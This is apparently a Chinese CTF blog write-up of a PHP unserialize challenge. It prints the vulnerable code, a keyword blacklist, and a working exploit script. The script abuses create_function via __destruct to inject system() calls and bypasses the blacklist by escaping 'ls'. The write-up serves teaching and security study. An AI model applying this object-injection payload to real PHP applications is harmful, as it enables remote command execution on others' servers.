前言
人道是,
纵使风雨兼程路,笑对人生百态情.
一起用一道序列化开启暑假.
正文
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
//在check后将ab拼接执行
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
//强制转换string后进行check
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);//挺迷的其实,以空字符串""作为函数名调用,并将$b作为参数传递给这个函数,按理来说是逻辑错误
}
private function check($str)
{
//绕过这个有点麻烦
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
整块分析下来只能用非常规方法进行序列化生成并利用
所以我们进行思路整理,我们可以发现
反序列化并不会执行构造函数,所以忽略 __construct()
而__destruct()是必被执行的,那么destruct中的**$a("", $b);**或许能够帮助我们拿到flag
我想起了18年的**Code Breaking **
里面有这样一题:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这题的解法是利用特性使用**create_function **
而create_function由于自身的危险性,在php8以后就被删除
但是这题
emmmmm
那么就干吧
思路
先来讲一下create_function的原理
基本语法如下:
string create_function(string $args, string $code);
-------------------------------------------------------
$double = create_function('$num', 'return $num * 2;');
echo $double(5); // 输出10
那么
将a=create_function,b=show_source('');b=;}system("ls");/*;
这样构造闭合
create_function("", ";}system("ls");/*;
就变成了
function ()
{
;
}
system("ls");/*;}
由于代码是简单拼接,所以可以直接这样闭合,比如:
如果第一个参数可控,则: create_function('){}phpinfo();/*;','')
如果第二个参数可控,则:** create_function('','phpinfo();/;})*
对了,由于check里面限制了ls,所以我们需要绕过,payload就变为
create_function("", ";}system("l\s");/*;
**exp: **
<?php
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
$a=new Noteasy("create_function",';}system("l\s /");/*;');
echo serialize($a);
然后用more拿flag
成功
结尾
暑假来临,该卷起来了师傅们**//DOGE**
求赞求关注,感谢
版权归原作者 MQ4 所有, 如有侵权,请联系我们删除。